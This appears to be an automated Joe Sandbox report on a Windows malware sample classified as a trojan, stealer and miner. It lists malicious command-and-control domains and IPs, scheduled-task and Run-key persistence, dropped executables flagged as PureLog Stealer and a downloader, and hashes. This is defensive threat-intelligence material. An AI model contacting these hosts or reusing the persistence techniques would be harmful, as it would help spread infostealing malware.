                                                                                                                                                                                                      https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=1f3cab3382.exe, 00000026.00000003.3129038800.0000000005AED000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3129211193.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3129493521.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp, d173cd9705.exe, 00000027.00000003.3398363448.000000000104A000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3282940867.0000000005859000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3283881578.0000000005856000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3283396738.0000000005856000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000031.00000003.3427574139.000000000551B000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000031.00000003.3430517492.0000000005518000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000031.00000003.3428498379.0000000005518000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                                        https://grannyejh.lat/apiUB=1f3cab3382.exe, 00000028.00000003.3258059719.0000000000B13000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          http://.cssfd98346557.exe, 00000025.00000003.2993863881.00000000071FF000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                                                                                                            http://axschema.org/2http://schema.openid.net/2http://openid.net/schema/1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002D42000.00000004.00000800.00020000.00000000.sdmp, 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002C61000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                                              https://grannyejh.lat/apit1f3cab3382.exe, 00000028.00000003.3258059719.0000000000AFB000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                http://specs.openid.net/auth/2.01eb4b174fd.exe, 00000023.00000002.2880375095.0000000002D42000.00000004.00000800.00020000.00000000.sdmp, 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002C61000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                  http://x1.c.lencr.org/01f3cab3382.exe, 00000026.00000003.3179833486.0000000005B4B000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3342798453.0000000005857000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                    http://x1.i.lencr.org/01f3cab3382.exe, 00000026.00000003.3179833486.0000000005B4B000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3342798453.0000000005857000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                      https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search1f3cab3382.exe, 00000026.00000003.3129038800.0000000005AED000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3129211193.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3129493521.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp, d173cd9705.exe, 00000027.00000003.3398363448.000000000104A000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3282940867.0000000005859000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3283881578.0000000005856000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3283396738.0000000005856000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000031.00000003.3427574139.000000000551B000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000031.00000003.3430517492.0000000005518000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000031.00000003.3428498379.0000000005518000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                        https://grannyejh.lat/AC51f3cab3382.exe, 00000028.00000003.3258059719.0000000000B5C000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                          https://lossekniyyt.click/apikP1eb4b174fd.exe, 00000024.00000002.3074676805.0000000001516000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                            http://schemas.openid.net/pape/policies/2007/06/none1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002D42000.00000004.00000800.00020000.00000000.sdmp, 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002C61000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                              http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnY322fd98346557.exe, 00000025.00000003.2993863881.00000000071FF000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                https://support.mozilla.org/products/firefoxgro.all1f3cab3382.exe, 00000028.00000003.3347984195.0000000005CFF000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                  http://.jpgfd98346557.exe, 00000025.00000003.2993863881.00000000071FF000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                    http://namespace.google.com/openid/xmlns1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002D42000.00000004.00000800.00020000.00000000.sdmp, 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002C61000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                      http://www.idmanagement.gov/schema/2009/05/icam/no-pii.pdf1eb4b174fd.exe, 00000023.00000002.2881889948.0000000003C69000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                        https://www.google.com/images/branding/product/ico/googleg_lodp.ico1f3cab3382.exe, 00000026.00000003.3129038800.0000000005AED000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3129211193.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3129493521.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp, d173cd9705.exe, 00000027.00000003.3398363448.000000000104A000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3282940867.0000000005859000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3283881578.0000000005856000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3283396738.0000000005856000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000031.00000003.3427574139.000000000551B000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000031.00000003.3430517492.0000000005518000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000031.00000003.3428498379.0000000005518000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                          https://curl.se/docs/http-cookies.htmlfd98346557.exe, 00000025.00000003.2993863881.00000000071FF000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                            http://openid.net/extensions/sreg/1.11eb4b174fd.exe, 00000023.00000002.2880375095.0000000002D42000.00000004.00000800.00020000.00000000.sdmp, 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002C61000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                              https://grannyejh.lat/11f3cab3382.exe, 00000026.00000003.3249083501.0000000000D3C000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3303617322.0000000000D3B000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3344647504.0000000000D3B000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3279573878.0000000000D3B000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3248936218.0000000000D3B000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                                https://grannyejh.lat/1f3cab3382.exe, 00000026.00000003.3278358124.0000000000D8F000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3298961968.0000000000D89000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3318934468.0000000000D8F000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3455977039.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3455605697.0000000000B8E000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3434505866.0000000000B75000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3258059719.0000000000AFB000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3455605697.0000000000B75000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3463195420.0000000000B5C000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                                  https://xmrig.com/wizard%sIntel_PTT_EK_Recertification.exe, 0000001E.00000003.2837268747.000001AE777F0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001F.00000002.2843315351.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, Intel_PTT_EK_Recertification.exe, 00000029.00000003.3207300188.00000266A4D20000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000002A.00000002.3265693433.00000001402DD000.00000002.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                                    http://specs.openid.net/extensions/ui/icon1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002D42000.00000004.00000800.00020000.00000000.sdmp, 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002C61000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                                      http://msdn.com/data/ef1eb4b174fd.exe, 00000023.00000000.2860852651.00000000005F2000.00000002.00000001.01000000.0000000E.sdmp, 1eb4b174fd.exe, 00000023.00000002.2881889948.0000000003C69000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                                        https://grannyejh.lat/J1f3cab3382.exe, 00000028.00000003.3258059719.0000000000B5C000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                                          http://schemas.openid.net/pape/policies/2007/06/phishing-resistantxhttp://schemas.openid.net/pape/po1eb4b174fd.exe, 00000023.00000000.2860852651.00000000005F2000.00000002.00000001.01000000.0000000E.sdmp, 1eb4b174fd.exe, 00000023.00000002.2881889948.0000000003C69000.00000004.00000800.00020000.00000000.sdmpfalse

                                                                                                                                                                                                                                                            World Map of Contacted IPs

                                                                                                                                                                                                                                                            • No. of IPs < 25%
                                                                                                                                                                                                                                                            • 25% < No. of IPs < 50%
                                                                                                                                                                                                                                                            • 50% < No. of IPs < 75%
                                                                                                                                                                                                                                                            • 75% < No. of IPs

                                                                                                                                                                                                                                                            Public IPs

                                                                                                                                                                                                                                                            IPDomainCountryFlagASNASN NameMalicious
                                                                                                                                                                                                                                                            185.215.113.43
                                                                                                                                                                                                                                                            		unknownPortugal
                                                                                                                                                                                                                                                            		206894WHOLESALECONNECTIONSNLtrue
                                                                                                                                                                                                                                                            172.67.179.109
                                                                                                                                                                                                                                                            		grannyejh.latUnited States
                                                                                                                                                                                                                                                            		13335CLOUDFLARENETUStrue
                                                                                                                                                                                                                                                            185.215.113.16
                                                                                                                                                                                                                                                            		unknownPortugal
                                                                                                                                                                                                                                                            		206894WHOLESALECONNECTIONSNLfalse
                                                                                                                                                                                                                                                            142.250.181.132
                                                                                                                                                                                                                                                            		www.google.comUnited States
                                                                                                                                                                                                                                                            		15169GOOGLEUSfalse
                                                                                                                                                                                                                                                            34.226.108.155
                                                                                                                                                                                                                                                            		httpbin.orgUnited States
                                                                                                                                                                                                                                                            		14618AMAZON-AESUSfalse
                                                                                                                                                                                                                                                            185.185.71.170
                                                                                                                                                                                                                                                            		home.twentytk20pn.topRussian Federation
                                                                                                                                                                                                                                                            		35278SPRINTHOSTRUtrue
                                                                                                                                                                                                                                                            239.255.255.250
                                                                                                                                                                                                                                                            		unknownReserved
                                                                                                                                                                                                                                                            		unknownunknownfalse
                                                                                                                                                                                                                                                            185.215.113.206
                                                                                                                                                                                                                                                            		unknownPortugal
                                                                                                                                                                                                                                                            		206894WHOLESALECONNECTIONSNLtrue
                                                                                                                                                                                                                                                            104.21.12.88
                                                                                                                                                                                                                                                            		lossekniyyt.clickUnited States
                                                                                                                                                                                                                                                            		13335CLOUDFLARENETUStrue
                                                                                                                                                                                                                                                            31.41.244.11
                                                                                                                                                                                                                                                            		unknownRussian Federation
                                                                                                                                                                                                                                                            		61974AEROEXPRESS-ASRUfalse
                                                                                                                                                                                                                                                            127.1.10.1
                                                                                                                                                                                                                                                            		unknownunknown
                                                                                                                                                                                                                                                            		unknownunknowntrue

                                                                                                                                                                                                                                                            Private

                                                                                                                                                                                                                                                            IP
                                                                                                                                                                                                                                                            127.0.0.1

                                                                                                                                                                                                                                                            General Information

                                                                                                                                                                                                                                                            Joe Sandbox version:41.0.0 Charoite
                                                                                                                                                                                                                                                            Analysis ID:1577982
                                                                                                                                                                                                                                                            Start date and time:2024-12-19 01:07:12 +01:00
                                                                                                                                                                                                                                                            Joe Sandbox product:CloudBasic
                                                                                                                                                                                                                                                            Overall analysis duration:0h 21m 20s
                                                                                                                                                                                                                                                            Hypervisor based Inspection enabled:false
                                                                                                                                                                                                                                                            Report type:full
                                                                                                                                                                                                                                                            Cookbook file name:default.jbs
                                                                                                                                                                                                                                                            Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                                                                                                                                                                                            Number of analysed new started processes analysed:55
                                                                                                                                                                                                                                                            Number of new started drivers analysed:0
                                                                                                                                                                                                                                                            Number of existing processes analysed:0
                                                                                                                                                                                                                                                            Number of existing drivers analysed:0
                                                                                                                                                                                                                                                            Number of injected processes analysed:0
                                                                                                                                                                                                                                                            Technologies:
                                                                                                                                                                                                                                                            • HCA enabled
                                                                                                                                                                                                                                                            • EGA enabled
                                                                                                                                                                                                                                                            • AMSI enabled
                                                                                                                                                                                                                                                            Analysis Mode:default
                                                                                                                                                                                                                                                            Sample name:file.exe
                                                                                                                                                                                                                                                            Detection:MAL
                                                                                                                                                                                                                                                            Classification:mal100.troj.spyw.evad.mine.winEXE@117/48@23/12
                                                                                                                                                                                                                                                            EGA Information:
                                                                                                                                                                                                                                                            • Successful, ratio: 57.1%
                                                                                                                                                                                                                                                            HCA Information:Failed
                                                                                                                                                                                                                                                            Cookbook Comments:
                                                                                                                                                                                                                                                            • Found application associated with file extension: .exe

                                                                                                                                                                                                                                                            Warnings

                                                                                                                                                                                                                                                            • Max analysis timeout: 600s exceeded, the analysis took too long
                                                                                                                                                                                                                                                            • Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
                                                                                                                                                                                                                                                            • Excluded IPs from analysis (whitelisted): 216.58.208.227, 172.217.17.78, 64.233.162.84, 23.218.208.109, 13.107.246.63, 4.175.87.197, 52.149.20.212, 20.190.147.1, 13.89.179.12, 52.168.117.168, 52.168.117.173
                                                                                                                                                                                                                                                            • Excluded domains from analysis (whitelisted): pancakedipyps.click, slscr.update.microsoft.com, spocs.getpocket.com, clientservices.googleapis.com, aus5.mozilla.org, fs-wildcard.microsoft.com.edgekey.net, clients2.google.com, ocsp.digicert.com, us-west1.prod.sumo.prod.webservices.mozgcp.net, ipv4only.arpa, login.live.com, e16604.g.akamaiedge.net, firefox.settings.services.mozilla.com, prod.ads.prod.webservices.mozgcp.net, www.youtube.com, normandy-cdn.services.mozilla.com, star-mini.c10r.facebook.com, prod.balrog.prod.cloudops.mozgcp.net, treehoneyi.click, shavar.prod.mozaws.net, fs.microsoft.com, detectportal.firefox.com, dyna.wikimedia.org, normandy.cdn.mozilla.net, youtube-ui.l.google.com, reddit.map.fastly.net, shavar.services.mozilla.com, umwatson.events.data.microsoft.com, clients.l.google.com, location.services.mozilla.com, example.org, prod.detectportal.prod.cloudops.mozgcp.net, www.reddit.com, cheapptaxysu.click, services.addons.mozilla.org, ciscobinary.openh264.org, incoming.telemetry.mozilla.org, fs
                                                                                                                                                                                                                                                            • Execution Graph export aborted for target explorer.exe, PID 6300 because there are no executed function
                                                                                                                                                                                                                                                            • Not all processes where analyzed, report is missing behavior information
                                                                                                                                                                                                                                                            • Report creation exceeded maximum time and may have missing disassembly code information.
                                                                                                                                                                                                                                                            • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                                                                                                                                                                                            • Report size exceeded maximum capacity and may have missing network information.
                                                                                                                                                                                                                                                            • Report size getting too big, too many NtAllocateVirtualMemory calls found.
                                                                                                                                                                                                                                                            • Report size getting too big, too many NtDeviceIoControlFile calls found.
                                                                                                                                                                                                                                                            • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                                                                                                                                                                                            • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                                                                                                                                                                                                                            • Report size getting too big, too many NtQueryAttributesFile calls found.
                                                                                                                                                                                                                                                            • Report size getting too big, too many NtQueryDirectoryFile calls found.
                                                                                                                                                                                                                                                            • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                                                                                                                                                                                            • Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                                                                                                                                                                                                                            • Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

                                                                                                                                                                                                                                                            Simulations

                                                                                                                                                                                                                                                            Behavior and APIs

                                                                                                                                                                                                                                                            TimeTypeDescription
                                                                                                                                                                                                                                                            01:08:17Task SchedulerRun new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                            01:09:24Task SchedulerRun new task: Intel_PTT_EK_Recertification path: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
                                                                                                                                                                                                                                                            01:09:52AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 1f3cab3382.exe C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe
                                                                                                                                                                                                                                                            01:10:01AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 1f3cab3382.exe C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe
                                                                                                                                                                                                                                                            01:10:09AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run d173cd9705.exe C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exe
                                                                                                                                                                                                                                                            01:10:19AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 0d11b39aa9.exe C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exe
                                                                                                                                                                                                                                                            01:10:33AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run d173cd9705.exe C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exe
                                                                                                                                                                                                                                                            01:10:41AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 0d11b39aa9.exe C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exe
                                                                                                                                                                                                                                                            01:11:26Task SchedulerRun new task: ServiceData4 path: C:\Users\user\AppData\Local\Temp\/service123.exe
                                                                                                                                                                                                                                                            19:09:01API Interceptor17850552x Sleep call for process: skotes.exe modified
                                                                                                                                                                                                                                                            19:09:27API Interceptor8x Sleep call for process: 1eb4b174fd.exe modified
                                                                                                                                                                                                                                                            19:09:27API Interceptor24x Sleep call for process: powershell.exe modified
                                                                                                                                                                                                                                                            19:09:51API Interceptor158x Sleep call for process: 1f3cab3382.exe modified
                                                                                                                                                                                                                                                            19:10:09API Interceptor3x Sleep call for process: svchost.exe modified
                                                                                                                                                                                                                                                            19:10:11API Interceptor808881x Sleep call for process: fd98346557.exe modified
                                                                                                                                                                                                                                                            19:10:31API Interceptor120x Sleep call for process: d173cd9705.exe modified

                                                                                                                                                                                                                                                            Joe Sandbox View / Context

                                                                                                                                                                                                                                                            IPs

                                                                                                                                                                                                                                                            ⊘No context

                                                                                                                                                                                                                                                            Domains

                                                                                                                                                                                                                                                            ⊘No context

                                                                                                                                                                                                                                                            ASNs

                                                                                                                                                                                                                                                            ⊘No context

                                                                                                                                                                                                                                                            JA3 Fingerprints

                                                                                                                                                                                                                                                            ⊘No context

                                                                                                                                                                                                                                                            Dropped Files

                                                                                                                                                                                                                                                            ⊘No context

                                                                                                                                                                                                                                                            Created / dropped Files

                                                                                                                                                                                                                                                            C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

                                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                                            Process:C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                                            File Type:Extensible storage engine DataBase, version 0x620, checksum 0x6fefc127, page size 16384, Windows version 10.0
                                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                                            Size (bytes):1310720
                                                                                                                                                                                                                                                            Entropy (8bit):0.6583918982030422
                                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                                            SSDEEP:3072:V3W7a3W7waza6xhzA2U8HDnAPZ4PZf9h/9h:V3W7a3W7dA2U8HDnAPZ4PZf9h/9h
                                                                                                                                                                                                                                                            MD5:E92CCE550D2DC0B52314777588099896
                                                                                                                                                                                                                                                            SHA1:ADA11AD1E99B9ED069B1B1E37457BFE7B6AB95AB
                                                                                                                                                                                                                                                            SHA-256:200A03BC312A008CD91A1409F6EB869B1722C252688CFE92A96C5FA5E748AEB2
                                                                                                                                                                                                                                                            SHA-512:68EC5E75D88656FDFE20FA1CD641CF000A92BA22AC9D09069C8EF8E46734855358F83772541BA4600076CA20CF97F80BDF1511A782130566D55A6340EECEA4C8
                                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                                            Reputation:unknown
                                                                                                                                                                                                                                                            Preview:o..'... ...............X\...;...{......................T.~..........|.......|..h.|..........|..T.~.........D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............................................................................................................................................................................................................2...{..........................................|..................8........|...........................#......T.~.....................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\1eb4b174fd.exe.log

                                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exe
                                                                                                                                                                                                                                                            File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                                            Size (bytes):617
                                                                                                                                                                                                                                                            Entropy (8bit):5.3554278163807965
                                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                                            SSDEEP:12:Q3La/KDLI4MWuPTAt92n4M9XKbbDLI4MWuPJKAVKharkvoDLI4MWuCv:ML9E4Ke84qXKDE4KhKiKhIE4Ks
                                                                                                                                                                                                                                                            MD5:783B5197F36053BBA046C2EF2515F80E
                                                                                                                                                                                                                                                            SHA1:49CB890E4C6536FD79EF1C7BE83949509B37A824
                                                                                                                                                                                                                                                            SHA-256:9513A3E5E55C5471F606E5E0B06C46CD4E357F46602BBF43F24E1E70572F5F91
                                                                                                                                                                                                                                                            SHA-512:6ACD461D38A8F665E6CF4B585B720ABEB0B3F8556C817E576991DF758D9FFE68479B2E634EB60223C7B7909F34C7A1853F13F0CEE3CB4F7C5951228A91BE24C4
                                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                                            Reputation:unknown
                                                                                                                                                                                                                                                            Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

                                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe

                                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                            File Type:PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
                                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                                            Size (bytes):4426752
                                                                                                                                                                                                                                                            Entropy (8bit):7.985351645352288
                                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                                            SSDEEP:98304:gJf2TI4C0z0dAvtBgn2TRd5LWA9XZTO+NpL6714GxCZ9Zi9Qv/71C:4eTNC20S7gnKhWA9XZa4Gxq9Zi9Q5C
                                                                                                                                                                                                                                                            MD5:1BBA40CD593BED2B1F35529F02A1BC01
                                                                                                                                                                                                                                                            SHA1:A0D27BF89C1D0EF1DA317B101D134DD83A326FD9
                                                                                                                                                                                                                                                            SHA-256:0C9D197700BB3C5A707382A110A0466DAA05C6D44793A60248C69C1784B02237
                                                                                                                                                                                                                                                            SHA-512:F75B3E7EA9751B2E3F02D90DE33F46CEE91A2C464D2E32072DC3CA5AEF85CD3E46BE44E87AC1201B3B9FE08BA015522D9094869347AFE2809B30A3BC0C57182D
                                                                                                                                                                                                                                                            Malicious:true
                                                                                                                                                                                                                                                            Yara Hits:
                                                                                                                                                                                                                                                            • Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe, Author: Joe Security
                                                                                                                                                                                                                                                            • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe, Author: Joe Security
                                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                                            • Antivirus: Avira, Detection: 100%
                                                                                                                                                                                                                                                            • Antivirus: Avira, Detection: 100%
                                                                                                                                                                                                                                                            • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                                                                                                                                            • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                                                                                                                                            • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                                                                                                                                            Reputation:unknown
                                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....U`g...............(.>D...d..2...........PD...@................................{?D...@... ............................._.a.s.....a........................................................................................................... . .pa......>(.................@....rsrc.........a......N(.............@....idata ......a......P(.............@... ..8...a......R(.............@...ypghfgdd.............T(.............@...tqzciftt.............dC.............@....taggant.0......."...jC.............@...........................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

                                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                            File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                                            Size (bytes):3286016
                                                                                                                                                                                                                                                            Entropy (8bit):7.310046848182974
                                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                                            SSDEEP:49152:yla31k0wuMKWrJSYQTdfjfkn46z2jnVGd7jyy7qaJJR0BmXSyYO3:yla3/tS4K2jnVGRjHLJfV
                                                                                                                                                                                                                                                            MD5:C00A67D527EF38DC6F49D0AD7F13B393
                                                                                                                                                                                                                                                            SHA1:7B8F2DE130AB5E4E59C3C2F4A071BDA831AC219D
                                                                                                                                                                                                                                                            SHA-256:12226CCAE8C807641241BA5178D853AAD38984EEFB0C0C4D65ABC4DA3F9787C3
                                                                                                                                                                                                                                                            SHA-512:9286D267B167CBA01E55E68C8C5582F903BED0DD8BC4135EB528EF6814E60E7D4DDA2B3611E13EFB56AA993635FBAB218B0885DAF5DAEA6043061D8384AF40CA
                                                                                                                                                                                                                                                            Malicious:true
                                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 42%
                                                                                                                                                                                                                                                            Reputation:unknown
                                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....V...............P.../..Z......../.. ....0...@.. ........................2...........@.................................../.K.....0.@W...................`2.....3./.............................................. ............... ..H............text...../.. ..../................. ..`.rsrc...@W....0..X..../.............@..@.reloc.......`2......"2.............@..B................../.....H...........@.......C...@...z.*.........................................6+.(B.99(....*..:+.(.^A.(!...*.....*....(*...*.....*.......*.......*....(*...*..0..........(*...8y.......E....c...O.../...8^...s......... .....:....&8....s.........8....s......... .....9....& ....8....s......... ....8....*s.........8.......0.............*.0.............*.0.............*.0.............*.0.............*....*.......*....0.............*.0.............*....*....0.............*....*...".......

                                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe

                                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
